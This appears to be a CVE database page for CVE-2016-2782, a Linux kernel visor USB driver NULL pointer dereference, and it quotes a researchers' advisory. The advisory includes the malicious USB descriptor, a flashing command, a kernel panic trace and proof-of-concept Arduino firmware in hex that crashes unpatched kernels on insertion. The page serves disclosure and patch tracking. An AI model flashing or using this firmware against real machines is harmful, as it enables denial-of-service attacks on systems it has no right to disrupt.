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CVE-2016-2782 : Detail

CVE-2016-2782

4.6
/
MEDIUM
Memory Corruption
0.38%V3
Physical
2016-04-27 15:00 +00:00
2017-09-07 07:57 +00:00
CVE.org
NVD

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Descriptions

The treo_attach function in drivers/usb/serial/visor.c in the Linux kernel before 4.5 allows physically proximate attackers to cause a denial of service (NULL pointer dereference and system crash) or possibly have unspecified other impact by inserting a USB device that lacks a (1) bulk-in or (2) interrupt-in endpoint.

Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-476 NULL Pointer Dereference
The product dereferences a pointer that it expects to be valid but is NULL.

Metrics

Metric Score Severity CVSS Vector Source
V3.1 4.6 MEDIUM CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Physical

The attack requires the attacker to physically touch or manipulate the vulnerable component. Physical interaction may be brief (e.g., evil maid attack1) or persistent. An example of such an attack is a cold boot attack in which an attacker gains access to disk encryption keys after physically accessing the target system. Other examples include peripheral attacks via FireWire/USB Direct Memory Access (DMA).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

None

There is no loss of confidentiality within the impacted component.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

None

There is no loss of integrity within the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 nvd@nist.gov
V2 4.9 AV:L/AC:L/Au:N/C:N/I:N/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 39539

Publication date : 2016-03-08 23:00 +00:00
Author : OpenSource Security
EDB Verified : No

OS-S Security Advisory 2016-10 Linux visor (treo_attach) Nullpointer Dereference Date: March 4th, 2016 Authors: Sergej Schumilo, Hendrik Schwartke, Ralf Spenneberg CVE: CVE-2016-2782 CVSS: 4.9 (AV:L/AC:L/Au:N/C:N/I:N/A:C) Title: Local RedHat Enterprise Linux DoS â?? RHEL 7.1 Kernel crashes on invalid USB device descriptors (visor treo_attach driver) Severity: Critical. The Kernel panics. A reboot is required. Ease of Exploitation: Trivial Vulnerability type: Wrong input validation Products: RHEL 7.1 including all updates Kernel-Version: 3.10.0-229.20.1.el7.x86_64 (for debugging-purposes we used the CentOS Kernel kernel-debuginfo-3.10.0-229.14.1.el7) Vendor: Red Hat Vendor contacted: November, 12th 2015 PDF of advisory: https://os-s.net/advisories/OSS-2016-10_visor_treo_attach.pdf Abstract: The Kernel 3.10.0-229.20.1.el7.x86_64 crashes on presentation of a buggy USB device requiring the visor (treo_attach) driver. Detailed product description: We confirmed the bug on the following system: RHEL 7.1 Kernel 3.10.0-229.20.1.el7.x86_64 Further products or kernel versions have not been tested. How reproducible: Always Actual results: Kernel crashes. Description: The bug was found using the USB-fuzzing framework vUSBf from Sergej Schumilo (github.com/schumilo) using the following device descriptor: [*] Device-Descriptor bLength: 0x12 bDescriptorType: 0x1 bcdUSB: 0x200 bDeviceClass: 0x3 bDeviceSubClass: 0x0 bDeviceProtocol: 0x0 bMaxPacketSize: 0x40 idVendor: 0x82d idProduct: 0x200 bcdDevice: 0x100 iManufacturer: 0x1 iProduct: 0x2 iSerialNumbers: 0x3 bNumConfigurations: 0x1 The treo_attach function does not use the num_ports (struct usb_serial) value for any kind of sanity checks during the initialization process. Due to an incomplete sanity check, the driver could try to dereference a null-pointer if a malformed device-descriptor is presented (zero-value for bNumEndpoints or no required endpoint-descriptors is provided). This results in a crash of the system. **** ... 554 #define COPY_PORT(dest, src) 555 do { 556 int i; 557 558 for (i = 0; i < ARRAY_SIZE(src->read_urbs); ++i) { 559 dest->read_urbs[i] = src->read_urbs[i]; \ /* Possible Nullpointer-Dereference */ 560 dest->read_urbs[i]->context = dest; 561 dest->bulk_in_buffers[i] = src->bulk_in_buffers[i]; 562 } 563 dest->read_urb = src->read_urb; 564 dest->bulk_in_endpointAddress = src->bulk_in_endpointAddress;565 dest->bulk_in_buffer = src->bulk_in_buffer; 566 dest->bulk_in_size = src->bulk_in_size; 567 dest->interrupt_in_urb = src->interrupt_in_urb; 568 dest->interrupt_in_urb->context = dest; 569 dest->interrupt_in_endpointAddress = 570 src->interrupt_in_endpointAddress;571 dest->interrupt_in_buffer = src->interrupt_in_buffer; 572 } while (0); 573 574 swap_port = kmalloc(sizeof(*swap_port), GFP_KERNEL); 575 if (!swap_port) 576 return -ENOMEM; 577 COPY_PORT(swap_port, serial->port[0]); /* no sanity-check! */ 578 COPY_PORT(serial->port[0], serial->port[1]); /* no sanity-check! */ 579 COPY_PORT(serial->port[1], swap_port); /* no sanity-check! */ ... **** [*] Configuration-Descriptor bLength: 0x9 bDescriptorType: 0x2 wTotalLength: 0x27 bNumInterfaces: 0x1 bConfigurationValue: 0x1 iConfiguration: 0x0 bmAttributes: 0x0 bMaxPower: 0x31 [*] Interface-Descriptor bLength: 0x9 bDescriptorType: 0x4 bInterfaceNumber: 0x0 bAlternateSetting: 0x0 bNumEndpoints: 0x3 bInterfaceClass: 0x0 bInterfaceSubClass: 0x0 bInterfaceProtocol: 0x0 [*] Endpoint-Descriptor: bLength: 0x7 bDescriptorType: 0x5 bEndpointAddress: 0x81 bmAttribut: 0x3 wMaxPacketSize: 0x404 bInterval: 0xc [*] Endpoint-Descriptor: bLength: 0x7 bDescriptorType: 0x5 bEndpointAddress: 0x1 bmAttribut: 0x2 wMaxPacketSize: 0x4 bInterval: 0xc [*] Endpoint-Descriptor: bLength: 0x7 bDescriptorType: 0x5 bEndpointAddress: 0x82 bmAttribut: 0x1 wMaxPacketSize: 0x4 bInterval: 0xc Proof of Concept: For a proof of concept, we are providing an Arduino Leonardo firmware file. This firmware will emulate the defective USB device. avrdude -v -p ATMEGA32u4 -c avr109 -P /dev/ttyACM0 -b 57600 -U flash:w:binary.hex The firmware has been attached to this bug report. To prevent the automated delivery of the payload, a jumper may be used to connect port D3 and 3V3! Severity and Ease of Exploitation: The vulnerability can be easily exploited. Using our Arduino Leonardo firmware, only physical access to the system is required. Vendor Communication: We contacted Red Hat on the November, 12th 2015. This bug was fixed upstream. A CVE number was not assigned. References: https://bugzilla.redhat.com/show_bug.cgi?id=1283374 http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?i d=cac9b50b0d75a1d50d6c056ff65c005f3224c8e0 Kernel Stacktrace: [ 35.176832] usb 1-1: new full-speed USB device number 2 using xhci_hcd [ 35.400183] usb 1-1: New USB device found, idVendor=082d, idProduct=0200 [ 35.407780] usb 1-1: New USB device strings: Mfr=1, Product=2, SerialNumber=3 [ 35.417186] usb 1-1: Product: Ä? [ 35.421846] usb 1-1: Manufacturer: Ä? [ 35.425686] usb 1-1: SerialNumber: % [ 35.438608] usb 1-1: ep 0x81 - rounding interval to 64 microframes, ep desc says 96 microframes [ 35.493316] usbcore: registered new interface driver visor [ 35.503150] usbserial: USB Serial support registered for Handspring Visor / Palm OS [ 35.512980] usbserial: USB Serial support registered for Sony Clie 5.0 [ 35.521056] usbserial: USB Serial support registered for Sony Clie 3.5 [ 35.535245] visor 1-1:1.0: Handspring Visor / Palm OS converter detected [ 35.542409] BUG: unable to handle kernel NULL pointer dereference at 00000000000000b0 [ 35.543244] IP: [] treo_attach+0x61/0x340 [visor] [ 35.543244] PGD 0 [ 35.543244] Oops: 0002 [#1] SMP [ 35.543244] Modules linked in: visor(+) ip6t_rpfilter ip6t_REJECT ipt_REJECT xt_conntrack ebtable_nat ebtable_broute bridge stp llc ebtable_filter ebtables ip6table_nat nf_conntrack_ipv6 nf_defrag_ipv6 nf_nat_ipv6 ip6table_mangle ip6table_security ip6table_raw ip6table_filter ip6_tables iptable_nat nf_conntrack_ipv4 nf_defrag_ipv4 nf_nat_ipv4 nf_nat nf_conntrack iptable_mangle iptable_security iptable_raw iptable_filter ip_tables bochs_drm ppdev syscopyarea sysfillrect sysimgblt ttm drm_kms_helper drm pcspkr i2c_piix4 i2c_core serio_raw parport_pc parport xfs libcrc32c sd_mod sr_mod crc_t10dif cdrom crct10dif_common ata_generic pata_acpi ata_piix libata e1000 floppy dm_mirror dm_region_hash dm_log dm_mod [ 35.543244] CPU: 0 PID: 2220 Comm: systemd-udevd Not tainted 3.10.0-229.14.1.el7.x86_64 #1 [ 35.543244] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.8.2-0-g33fbe13 by qemu-project.org 04/01/2014 [ 35.543244] task: ffff88000bcfa220 ti: ffff88000bd20000 task.ti: ffff88000bd20000 [ 35.543244] RIP: 0010:[] [] treo_attach+0x61/0x340 [visor] [ 35.543244] RSP: 0018:ffff88000bd23a78 EFLAGS: 00010286 [ 35.543244] RAX: ffff88000003c000 RBX: ffff88000af979c0 RCX: 000000000000a0e2 [ 35.543244] RDX: 0000000000000000 RSI: 00000000000000d0 RDI: ffff88000e401400 [ 35.543244] RBP: ffff88000bd23a80 R08: 00000000000164c0 R09: ffff88000e401400 [ 35.543244] R10: ffffffffa0393636 R11: ffff88000bcd0000 R12: 0000000000000404 [ 35.543244] R13: ffff88000be6b000 R14: ffff88000af979c0 R15: ffffffffa0395400 [ 35.543244] FS: 00007fb8082b4880(0000) GS:ffff88000fc00000(0000) knlGS:0000000000000000 [ 35.543244] CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b [ 35.543244] CR2: 00000000000000b0 CR3: 000000000c51f000 CR4: 00000000000006f0 [ 35.543244] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 [ 35.543244] DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400 [ 35.543244] Stack: [ 35.543244] ffff88000bcd0090 ffff88000bd23c18 ffffffff8145fed1 0000000000000007 [ 35.543244] 000000020bd23af8 ffff88000c525830 0000000100000000 ffffffffa0395400 [ 35.543244] 0000010000000001 ffff88000bcd0000 0000000000000100 ffff88000bcd0090 [ 35.543244] Call Trace: [ 35.543244] [] usb_serial_probe+0xdb1/0x1230 [ 35.543244] [] ? ida_get_new_above+0x7c/0x2a0 [ 35.543244] [] ? kmem_cache_alloc+0x1ba/0x1d0 [ 35.543244] [] ? sysfs_addrm_finish+0x42/0xe0 [ 35.543244] [] ? __sysfs_add_one+0x61/0x100 [ 35.543244] [] usb_probe_interface+0x1c4/0x2f0 [ 35.543244] [] driver_probe_device+0x87/0x390 [ 35.543244] [] __driver_attach+0x93/0xa0 [ 35.543244] [] ? __device_attach+0x40/0x40 [ 35.543244] [] bus_for_each_dev+0x73/0xc0 [ 35.543244] [] driver_attach+0x1e/0x20 [ 35.543244] [] usb_serial_register_drivers+0x29b/0x580 [ 35.543244] [] ? 0xffffffffa0397fff [ 35.543244] [] usb_serial_module_init+0x1e/0x1000 [visor] [ 35.543244] [] do_one_initcall+0xb8/0x230 [ 35.543244] [] load_module+0x133e/0x1b40 [ 35.543244] [] ? ddebug_proc_write+0xf0/0xf0 [ 35.543244] [] ? copy_module_from_fd.isra.42+0x53/0x150 [ 35.543244] [] SyS_finit_module+0xa6/0xd0 [ 35.543244] [] system_call_fastpath+0x16/0x1b [ 35.543244] Code: e1 ba 50 05 00 00 be d0 00 00 00 e8 4a 84 e1 e0 48 85 c0 0f 84 e1 02 00 00 48 8b 53 20 48 8b 92 b8 01 00 00 48 89 90 b8 01 00 00 <48> 89 82 b0 00 00 00 48 8b 53 20 48 8b 92 a8 01 00 00 48 89 90 [ 35.543244] RIP [] treo_attach+0x61/0x340 [visor] [ 35.543244] RSP [ 35.543244] CR2: 00000000000000b0 [ 35.973188] ---[ end trace b239663354a1c556 ]--- [ 35.978862] Kernel panic - not syncing: Fatal exception [ 35.979835] drm_kms_helper: panic occurred, switching back to text console Arduino Leonardo Firmware: :100000000C94A8000C94C5000C94C5000C94C50079 :100010000C94C5000C94C5000C94C5000C94C5004C :100020000C94C5000C94C5000C94C4050C942F04CA :100030000C94C5000C94C5000C94C5000C94C5002C :100040000C94C5000C94C5000C94C5000C94C5001C :100050000C94C5000C94C5000C94C5000C940E02C1 :100060000C94C5000C94C5000C94C5000C94C500FC :100070000C94C5000C94C5000C94C5000C94C500EC :100080000C94C5000C94C5000C94C5000C94C500DC :100090000C94C5000C94C5000C94C5000C94C500CC :1000A0000C94C5000C94C5000C94C5000B030E0302 :1000B000010305032F032F032F03120316031A0353 :1000C000200324032F032A030000000200080E006F :1000D00000030401000B000000000000000000000D :1000E00000000000000004080201104080401020C1 :1000F00040804080080204018040201002011080EE :100100001020404004040404040304050202020217 :1001100004030202020206060606060604040202A0 :100120000204000000002300260029002C002F00FC :1001300000000000250028002B002E0031000000E8 :100140000000240027002A002D00300000C180811B :1001500011241FBECFEFDAE0DEBFCDBF15E0A0E077 :10016000B1E0E4EDF3E102C005900D92A436B107D1 :10017000D9F725E0A4E6B5E001C01D92AF37B2077C :10018000E1F70E94C8000C9404070C940000089545 :10019000CF93DF93CDB7DEB7CD59D1090FB6F89421 :1001A000DEBF0FBECDBF0E94A1020E94C70060E06B :1001B00083E00E94300361E087E00E94300361E049 :1001C00088E00E9430030E9459067E012AE9E20E6F :1001D000F11C84E093E0D70111969C938E9389E003 :1001E00094E013969C938E93129782E2E2E1F1E001 :1001F0009E012F5F3F4F6901D90101900D928A95B1 :10020000E1F788E1E4E3F1E0DE01939601900D92DD :100210008A95E1F782E1ECE4F1E0DE01DB96019002 :100220000D928A95E1F789E0EEE5F1E0DE01A05953 :10023000BF4F01900D928A95E1F72A593F4F99E0FF :10024000992ED901E92D1D92EA95E9F78E010957FA :100250001F4F87E0E7E6F1E0D80101900D928A9503 :10026000E1F7BE0160587F4F87E0EEE6F1E0DB0189 :1002700001900D928A95E1F7AE0147585F4F87E0F4 :10028000E5E7F1E0DA0101900D928A95E1F75E0170 :10029000FEE8AF0EB11C86E0ECE7F1E0D50101907D :1002A0000D928A95E1F7CE01835B9F4FEEE0DC0172 :1002B0001D92EA95E9F7E3E0DC011996EC93D90188 :1002C0009C92F4E01196FC9311971496EC93F9012B :1002D000DC01292D01900D922A95E1F7FE01EC56E3 :1002E000FF4FDC011B96FC93EE931A971D96BC9270 :1002F000AE921C971183008373836283558344837A :100300000C5211092CE0F80111922A95E9F721E02D :10031000D80119962C931997FE01E059FF4F0190CF :100320000D929A94E1F7F8019387828761E088E063 :100330000E9469038BE492E00E94650688E892E0DF :100340000E94650687EC92E00E94650686E093E0D5 :100350000E94650682E493E00E9465068FE793E0C1 :100360000E94650684EA93E00E9465068BEE93E0A6 :100370000E94650683E00E949F03892B09F047C015 :100380005E01F3E2AF0EB11C8824839482E1982EC3 :1003900084E194E00E946506BF92AF92DF92CF9213 :1003A000FF92EF921F928F921F930F932DB73EB73C :1003B000225131090FB6F8943EBF0FBE2DBFADB725 :1003C000BEB71196FE01FB96892D01900D928A957C :1003D000E1F78DE695E00E94030668E873E180E0AE :1003E00090E00E947B028DE695E00E944E0660E060 :1003F00087E00E94690368E873E180E090E00E9472 :100400007B020FB6F894DEBF0FBECDBFC1CF6AE04E :1004100070E080E090E00E947B02ACCF1F920F92D0 :100420000FB60F9211242F933F938F939F93AF9307 :10043000BF938091650590916605A0916705B09185 :1004400068053091640523E0230F2D3720F40196D1 :10045000A11DB11D05C026E8230F0296A11DB11DE7 :10046000209364058093650590936605A0936705C6 :10047000B09368058091690590916A05A0916B051C :10048000B0916C050196A11DB11D809369059093F3 :100490006A05A0936B05B0936C05BF91AF919F91D6 :1004A0008F913F912F910F900FBE0F901F90189535 :1004B0003FB7F8948091690590916A05A0916B050A :1004C000B0916C0526B5A89B05C02F3F19F0019689 :1004D000A11DB11D3FBF6627782F892F9A2F620F6C :1004E000711D811D911D42E0660F771F881F991FA6 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:00000001FF

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version To (excluding) 4.5.0

Linux>>Linux_kernel >> Version 4.5.0

Configuraton 0

Suse>>Linux_enterprise_debuginfo >> Version 11

Suse>>Linux_enterprise_debuginfo >> Version 11

Suse>>Linux_enterprise_module_for_public_cloud >> Version 12

Suse>>Linux_enterprise_desktop >> Version 12

Suse>>Linux_enterprise_desktop >> Version 12

Suse>>Linux_enterprise_real_time_extension >> Version 11

Suse>>Linux_enterprise_real_time_extension >> Version 12

Suse>>Linux_enterprise_server >> Version 11

Suse>>Linux_enterprise_server >> Version 11

Suse>>Linux_enterprise_server >> Version 12

Suse>>Linux_enterprise_server >> Version 12

Suse>>Linux_enterprise_software_development_kit >> Version 11

Suse>>Linux_enterprise_software_development_kit >> Version 12

Suse>>Linux_enterprise_software_development_kit >> Version 12

Suse>>Linux_enterprise_workstation_extension >> Version 12

Suse>>Linux_enterprise_workstation_extension >> Version 12

References

http://www.ubuntu.com/usn/USN-2930-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.ubuntu.com/usn/USN-2967-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.ubuntu.com/usn/USN-2930-2
Tags : vendor-advisory, x_refsource_UBUNTU
https://www.exploit-db.com/exploits/39539/
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.ubuntu.com/usn/USN-2967-2
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.ubuntu.com/usn/USN-2930-3
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.openwall.com/lists/oss-security/2016/02/28/9
Tags : mailing-list, x_refsource_MLIST
http://www.ubuntu.com/usn/USN-2929-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.ubuntu.com/usn/USN-2932-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.ubuntu.com/usn/USN-2948-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.ubuntu.com/usn/USN-2929-2
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.ubuntu.com/usn/USN-2948-2
Tags : vendor-advisory, x_refsource_UBUNTU

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